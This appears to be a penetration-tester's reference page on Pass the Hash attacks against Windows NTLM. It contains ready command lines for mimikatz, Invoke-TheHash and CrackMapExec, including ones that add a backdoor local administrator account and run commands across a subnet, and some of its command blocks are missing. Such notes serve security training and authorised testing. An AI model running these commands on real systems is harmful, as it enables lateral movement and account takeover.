Pass The Hash
With NTLM, passwords stored on the server and domain controller are not "salted," which means that an adversary with a password hash can authenticate a session without knowing the original password. A Pass the Hash (PtH) attack is a technique where an attacker uses a password hash instead of the plain text password for authentication.
Pass the Hash with Mimikatz (Windows)
see mimikatz
# Pass The Hash attack in windows:
# 1. Run mimikatz
mimikatz.exe privilege::debug "sekurlsa::pth /user:<username> /rc4:<NTLM hash> /domain:<DOMAIN> /run:<Command>" exit
# sekurlsa::pth is a module that allows us to perform a Pass the Hash attack by starting a process using the hash of the user's password
# /run:<Command>: For example /run:cmd.exe
# 2. After that, we canuse cmd.exe to execute commands in the user's context.
Pass the Hash with PowerShell Invoke-TheHash (Windows)
See Powershell Invoke-TheHash. This tool is a collection of PowerShell functions for performing Pass the Hash attacks with WMI and SMB. WMI and SMB connections are accessed through the .NET TCPClient. Authentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol. Local administrator privileges are not required client-side, but the user and hash we use to authenticate need to have administrative rights on the target computer.
When using Invoke-TheHash, we have two options: SMB or WMI command execution.
Invoke-TheHash with SMB
Invoke-SMBExec -Target $ip -Domain <DOMAIN> -Username <USERNAME> -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose
# Command to execute on the target. If a command is not specified, the function will check to see if the username and hash have access to WMI on the target.
# we can execute `Invoke-TheHash` to execute our PowerShell reverse shell script in the target computer.
How to generate a reverse shell.
Invoke-TheHash with WMI
Invoke-WMIExec -Target $machineName -Domain <DOMAIN> -Username <USERNAME> -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add"
How to generate a reverse shell.
Pass the Hash with Impacket (Linux)
Pass the Hash with Impacket PsExec
Pass the Hash with impacket-wmiexec
Download from: https://github.com/fortra/impacket/blob/master/examples/wmiexec.py.
Pass the Hash with impacket-atexec
Download from: https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py
Pass the Hash with impacket-smbexec
Download from: https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py
Pass the Hash with CrackMapExec (Linux)
See CrackMapExec
# Using a hash instead of a password, to authenticate ourselves
crackmapexec smb $ip -u <username> -H <hash> -d <DOMAIN>
# Execute commands with flag -x
crackmapexec smb $ip/24 -u <Administrator> -d . -H <hash> -x whoami
Pass the Hash with evil-winrm (Linux)
See evil-winrm.
If SMB is blocked or we don't have administrative rights, we can use this alternative protocol to connect to the target machine.
Pass the Hash with RDP (Linux)
Restricted Admin Mode, which is disabled by default, should be enabled on the target host; otherwise, you will be presented with an error. This can be enabled by adding a new registry key DisableRestrictedAdmin (REG_DWORD) under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa with the value of 0. It can be done using the following command:
Once the registry key is added, we can use xfreerdp with the option /pth to gain RDP access.
UAC Limits Pass the Hash for Local Accounts
UAC (User Account Control) limits local users' ability to perform remote administration operations. When the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy is set to 0, it means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to perform remote administration tasks. Setting it to 1 allows the other local admins as well.
Last update: 2023-09-05 Created: August 17, 2023 10:53:26Note: There is one exception, if the registry key FilterAdministratorToken (disabled by default) is enabled (value 1), the RID 500 account (even if it is renamed) is enrolled in UAC protection. This means that remote PTH will fail against the machine when using that account. ยด